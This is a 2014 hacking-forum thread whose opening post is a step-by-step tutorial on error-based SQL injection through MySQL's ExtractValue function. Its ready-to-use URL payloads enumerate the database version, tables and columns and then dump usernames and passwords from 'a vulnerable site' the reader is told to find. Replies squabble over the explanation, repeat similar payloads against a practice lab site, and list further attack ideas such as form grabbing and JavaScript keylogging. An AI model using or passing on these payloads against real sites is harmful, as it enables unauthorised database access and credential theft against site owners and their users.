

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] XPath Injection \[ExtractValue\]](#)

-zERaIT - November 18, 2014, 7:34 am

XPath Injection

I've only seen a few XPath injection tutorials so I thought this would come quite helpful, in this tutorial we'll be using ExtractValue to get the data we need.

Perhaps you found sometime a site which was SQL vulnerable, however order by, 1=1 didn't work. This is when an XPath injection might be able to help you out.

ExtractValue

Before we start, you'll need a vulnerable site, I won't explain how to get one as there are many tutorials written about how to do that.

For this tutorial I'll be using the following link:

Quote:<http://site.com/index.php?id=1>

1. Getting version through ExtractValue

Add:

Quote:`+and+extractvalue(rand(),concat(0x7e,version()))--`

Example:

Quote:<http://site.com/index.php?id=1> `+and+extractvalue(rand(),concat(0x7e,version()))--`

Website will return with the version, for example:

Quote:XPath syntax error: '5.1.39-log'

2. Getting tables through ExtractValue

Add:

Quote:

`+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))--`

Example:

Quote:<http://site.com/index.php?id=1>

`+and+extractvalue(rand(),concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1)))--`

Website will return with the tables, for example:

Quote:XPath syntax error: 'site_users'

Increase your limit in the syntax to find the tables you want.

3. Getting columns through Extractvalue

You'll need to convert your table name to hex, you can do this on 1 of the website below:

Quote:<http://www.swingnote.com/tools/texttohex.php>

<http://hex.online-toolz.com/tools/text-hex-converto.php>

<http://www.unit-conversion.info/texttools/hexadecimal/>

Once done, make sure to add "0x" in front of it, that'll tell the website to read the hex value.

Add:

Quote:

```
+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0xTABLENAMEINHEX+limit+0,1)))--
```

Example:

Quote:<http://site.com/index.php?id=1>

```
+and+extractvalue(rand(),concat(0x7e,(select+column_name+from+information_schema.columns+where+table_name=0x736974655f7573657273+limit+0,1)))--
```

Website will return with the columns, for example:

Quote:XPath syntax error: 'user_id' & XPath syntax error: 'user_pw'

Increase your limit in the syntax to find the columns you want.

4. Getting data out of columns through ExtractValue

We're going to put everything in a concat statement now.

0x3a is just to separate both columns with a ":".

Add:

Quote:

```
+and+extractvalue(rand(),concat(0x7e,(select+concat(COLUMN,0x3a,COLUMN)+from+TABLENAME+limit+0,1)))--
```

Example:

Quote:<http://site.com/index.php?id=1>

```
+and+extractvalue(rand(),concat(0x7e,(select+concat(user_id,0x3a,user_pw)+from+TABLENAME+limit+0,1)))--
```

Website will return with the data from the columns, for example:

Quote:XPath syntax error: 'admin:nimda'

You can read my other tutorials by clicking below.[\[Tutorial\] Basic / Union based SQL Injection](#)

[\[Tutorial\] String Based SQL Injection](#)

[\[Tutorial\] MsSQL Injection](#)

[\[Tutorial\] Web Application Firewall \[WAF\]](#)

[\[Tutorial\] Server Side Include Injection \[SSI Injection\]](#)

[\[Tutorial\] XPath Injection \[ExtractValue\]](#)

[\[Tutorial\] Remote File Inclusion](#)

[\[Tutorial\] Directory Traversal](#)

You could use UpdateXML instead of ExtractValue, but I chose to only explain ExtractValue as they both work almost the same.

If you still have any questions regarding XPath injections, feel free to hit me up and I'll help you out.

The Anonymous - November 21, 2014, 12:29 am

Nice tutorial Ladax. Keep up the good work.

-zERaIT - November 21, 2014, 1:32 am

(Nov 21, 2014 01:29 AM)T4RZ4N Wrote: [\[CITE\]](#) Nice tutorial Ladax. Keep up the good work.

Thanks for the feedback, much appreciated.?

ExplodingKnees - November 21, 2014, 5:07 am

I might be expecting too much, but is there a chance you'd actually write something new? I know plausible content is better than no content but I don't really get the fuss over "Writing tutorials!" "Being productive!" if there's no actual benefit in what you're writing. Want ideas? I can give you plenty.

JavaScript manipulation /w form grabbing. SQL Injection /w surreal queries (DELETE, SET, CREATE). LFI on OSX. JS Keylogging. ClickJacking. Client exploitation /w BeEF. XSS 2 Shell using XSSF. Auditing linux servers - information gathering, auditing, pentesting, fingerprinting. Latest popular HTTPD CVE's. breaking down and mapping website applications. Session Fixation, hijacking and cookie play. Hunting 0days, etc.

I'm the minority that actually reads what you write and goes through it. Don't you feel like making people go WOW instead of "Keep up the good work"? I find it insulting when somebody praises me for my work and not for my outcome.

Hooded Robin - November 21, 2014, 6:17 am

This has been posted before and belongs in the SQL injection sub-section....

Im gone brah - November 22, 2014, 6:10 am

Quote:I've only seen a few XPath injection tutorials

Quote:Before we start, you'll need a vulnerable site, I wont explain how to get one as there are many tutorials written about how to do that. ?

Maybe you should mention that ExtractValue() will extracts the values from a XML string..

PHP Code

```
<?php
```

```
+and+extractvalue(rand(),concat(0x7e,version()))--
```

So in the first query. ExtractValue() will extract the version from a XML string using xpath notations I believe. (not sure)

rand() is a math function which returns a random floating point value.

SELECT VERSION(); returns the current MySQL version.

I am not an expert on xpath injection. However, it's poorly documented and nothing to be proud of. Doesn't really matter in this case though, since there are hundreds or at least dozens of tutorials that are well documented when it comes to this subject.

Quote: You could use UpdateXML instead of ExtractValue, but I chose to only explain ExtractValue as they both work almost the same. - Ladax Atleast explain the difference..

Since you didn't I'll do it.

ExtractValue() will extracts the values from a XML string..

UpdateXML() will return the replaced XML fragment. In other words this allows you to update current content that's being stored in db.

There are so much going on behind the scene and I didn't even cover half of it, at least learn the subject before teaching the subject.

Tony S - November 22, 2014, 7:37 am

(Nov 22, 2014 07:10 AM)Zayne Wrote: [CITE](#) - truncated horse turd post -

To me it seems more like you've been Googling these functions and nit-picking small details that OP hasn't documented since they are mostly irrelevant in an attempt to traduce this tutorial.

It's clear that you have absolutely no idea what you're talking about, and your unfulfilled attempt at being a smartass made me laugh. I feel embarrassed for you.

Im gone brah - November 22, 2014, 7:51 am

(Nov 22, 2014 08:37 AM)Tony Spilotro Wrote: [\[CITE\]](#) To me it seems more like you've been Googling these functions and nit-picking small details that OP hasn't documented since they are mostly irrelevant in an attempt to traduce this tutorial.

It's clear that you have absolutely no idea what you're talking about, and your unfulfilled attempt at being a smartass made me laugh. I feel embarrassed for you.

And what did I google precisely? I took the course over at SQLZOO (probably somewhere else too), things may look slightly different since that's where I learned.

PHP Code

```
<?php
```

and nit-picking small details that OP

Just beacuse I can't answer all of it doesn't mean I am nit-picking, is it?

Since you're so much better than me, why don't you tell me what I did wrong?

ExplodingKnees - November 22, 2014, 8:41 am

(Nov 22, 2014 08:51 AM)Zayne Wrote: [\[CITE\]](#) And what did I google precisely? I took the course over at SQLZOO (probably somewhere else too), things may look slightly different since that's where I learned.

PHP Code

```
<?php
```

and nit-picking small details that OP

Just beacuse I can't answer all of it doesn't mean I am nit-picking, is it?

Since you're so much better than me, why don't you tell me what I did wrong?

www.quickmeme.com/img/ce/ce9a20eeb691df49c32b623a7287b6094dbb19c35589cac1977bd161186d1289.jpg

Don't blame a tree in a forest. Others aren't better, the single problem I have with this one is not it's lack of documentation (If you're learning exploitation through HF you're already an idiot), but it's lack of innovation. Where's the purple horse btw?

benzi - November 22, 2014, 8:52 am

(Nov 22, 2014 08:51 AM)Zayne Wrote: [\[CITE\]](#) And what did I google precisely? I took the course over at SQLZOO (probably somewhere else too), things may look slightly different since that's where I learned.

PHP Code

```
<?php
```

and nit-picking small details that OP

Just beacuse I can't answer all of it doesn't mean I am nit-picking, is it?

Since you're so much better than me, why don't you tell me what I did wrong?

you're not wrong, you just need a little bit of understanding in sqli.

extractvalue() is xml function, that can accept and return numbers and letters .

for example-

Code [http://zixem.altervista.org/SQLi/level2.php?showprofile=-4' and @xml:='<i>a</i>' union select null,extractvalue\(@xml,123456\),null,null--](http://zixem.altervista.org/SQLi/level2.php?showprofile=-4' and @xml:='<i>a</i>' union select null,extractvalue(@xml,123456),null,null--) -output is was we set, 123456.

when we input something that isnt a number or letter, we get xpath error.

for example, ^ sign-Code [http://zixem.altervista.org/SQLi/level2.php?showprofile=-4' and @xml:='<i>a</i>' union select null,extractvalue\(@xml,'^'\),null,null--](http://zixem.altervista.org/SQLi/level2.php?showprofile=-4' and @xml:='<i>a</i>' union select null,extractvalue(@xml,'^'),null,null--) -XPATh syntax error: '^'

so when we put the version in it, we get an error, because there's no such number as 5.1.71, let

alone theres no such number as '5.1.71-community-log'.

so we get an error with the version inside-

Code `http://zixem.altervista.org/SQLi/level2.php?showprofile=-4' and @xml:='<i>a</i>' union select null,extractvalue(@xml,version()),null,null-- -XPATH syntax error: '.71-community-log'`

but the problem is, 5.1 is a number, so we can put something else that dosent exist before the version, and we get an error with the version.

Code `http://zixem.altervista.org/SQLi/level2.php?showprofile=-4' and @xml:='<i>a</i>' union select null,extractvalue(@xml,concat('^',version())),null,null-- -XPATH syntax error: '^5.1.71-community-log'`

and our final error based query looks like that-Code `?id=4 and extractvalue(0,concat('^',version()))`
understand it better now?

Im gone brah - November 22, 2014, 9:14 am

(Nov 22, 2014 09:52 AM)benzi Wrote: [\[CITE\]](#) you're not wrong, you just need a little bit of understanding in sqli.

extractvalue() is xml function, that can accept and return numbers and letters .

for example-

Code `http://zixem.altervista.org/SQLi/level2.php?showprofile=-4' and @xml:='<i>a</i>' union select null,extractvalue(@xml,123456),null,null-- -output is was we set, 123456.`

when we input something that isnt a number or letter, we get xpath error.

for example, ^ sign-Code `http://zixem.altervista.org/SQLi/level2.php?showprofile=-4' and @xml:='<i>a</i>' union select null,extractvalue(@xml,'^'),null,null-- -XPATH syntax error: '^'`

so when we put the version in it, we get an error, because there's no such number as 5.1.71, let alone theres no such number as '5.1.71-community-log'.

so we get an error with the version inside-

Code `http://zixem.altervista.org/SQLi/level2.php?showprofile=-4' and @xml:='<i>a</i>' union select null,extractvalue(@xml,version()),null,null-- -XPATH syntax error: '.71-community-log'`

but the problem is, 5.1 is a number, so we can put something else that dosent exist before the version, and we get an error with the version.

Code `http://zixem.altervista.org/SQLi/level2.php?showprofile=-4' and @xml:='<i>a</i>' union select null,extractvalue(@xml,concat('^',version())),null,null-- -XPATH syntax error: '^5.1.71-community-log'`

and our final error based query looks like that-Code `?id=4 and extractvalue(0,concat('^',version()))`
understand it better now?I didn't describe the queries, I just gave the functions a description (well some of them). I can do a basic xpath injection and I understand the basics of it. (I've never looked into xpath injection really.) I know that ExtractValue() is a xml function which extracts the values from a XML string, I am just tired of seeing the old stuff over and over again and thought it had a lack of documentation, really.